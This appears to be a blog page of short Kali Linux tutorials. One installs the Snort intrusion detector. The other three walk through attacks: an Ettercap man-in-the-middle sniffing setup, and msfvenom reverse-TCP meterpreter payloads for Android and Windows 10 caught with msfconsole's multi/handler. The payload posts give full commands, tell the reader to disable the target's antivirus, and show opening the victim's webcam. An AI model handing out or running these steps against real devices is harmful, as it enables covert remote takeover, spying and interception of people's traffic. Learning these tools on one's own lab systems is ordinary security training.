Posts

Snort Installation & Configuration in Kali Linux

Image
We will see the full process of how to perform the SNORT with all the steps :-  STEP 1 :-  Firstly we have to change network settings as ahown below in order to perform snort :-   STEP 2 :-   Now type the following command in Kali Linux terminal to know the IP address of your kali machine/attacker machine :-                   ifconfig STEP 3 :-   Now type the following command in Kali Linux terminal to install snort :-                     sudo apt install snort   In between the installation you will notice a window gets pop-up in which you have to write ‘your IP address of the Kali machine.16/24’ as shown in the below image :-   STEP 4 :-  Now after the successful installation of snort type the following command to go into the directory in which snort is installed :-                    cd /etc/snort STEP 5 :-   Now we will see the configuration files of snort by typing the following command where we can edit/add our new rules as per choice :-                      ls -l S

MITM Attack (Packet Sniffing Attack)

Image
  We will see the full process of how to perform the MITM attack with all the steps   [Note:- before performing the MITM attack you should know the IP & MAC address of Windows system(Victim), Kali(your machine from where attack will be done) & Router(In which you and your target machine are connected)] :- STEP 1 :- Open kali linux root terminal and type the following command :-                    Ettercap -G                                     STEP 2 :-    Now click on the ‘✓’ mark and new window will pop-up :- In which select hosts and tap on scan for hosts:-     Now you can see that total 7 hosts are added to the host list:- Now select hosts list from options :-   STEP 3 :-   Now you can see that there are various hosts are available in the hosts list:- STEP 4 :-   From that list select the IP address of you router and add it to the target 2 & windows(victim IP) to target 1 and now click on the globe like icon and you will see the list which is shown below in whi

Exploiting Android using "msfvenom'' and "msfconsole''

Image
STEP 1 :- Go to the Kali Linux terminal and type the following command as shown below :-  msfvenom -p android/meterpreter/reverse_tcp lhost=your IP of Kali lport=8080 > exploit name.apk STEP 2 :- Now the apk file is created so move it to your Android phone . STEP 3 :- Now type the following commands as follows :-  msfconsole  use multi/handler set payload android/meterpreter/reverse_tcp set lhost your IP of Kali set lport 8080 exploit  STEP 4 :- Now go the apk file location and click on the apk file from android and install it . Give all permissions to app and install it .(NOTE :- CLICK ON INSTALL ANYWAY). STEP 5 :- After installing it click on the app and you will see that session is created in Kali Linux terminal . STEP 6 :- Now you have all the control or you android device . STEP 7 :- I have shown you an example by opening webcam in android device . STEP 8 :- You can use different commands to operate the android device .Just type help in your Kali Linux terminal and you will get

Exploiting Windows 10 using "msfvenom''and "msfconsole''

Image
 STEP 1 :- Go to the Kali Linux terminal and type the following command as shown below:- msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=your IP of Kali lport=8080 -f exe > exploit name.exe STEP 2 :- Now the exe file is created so move it to your target machine (NOTE:- TURN OFF THE ANTIVIRUS TO EXECUTE THE FILE). STEP 3 :- Now type the following commands as follows:- msfconsole use exploit/multi/handler set payload w indows/x64/meterpreter/reverse_tcp set lhost your IP of Kali  set lport 8080 exploit  STEP 4 :- Now click on the exe file from your Target machine . STEP 5 :- Now you can able to see that session is created in Kali Linux . STEP 6 :- Now you have all control to your target machine which is windows machine in our case . STEP 7 :- I have shown you example by opening webcam of target machine . STEP 8 :- You can also use different commands to operate the target machine . To know the different commands type help and you will get all commands listed . That's it from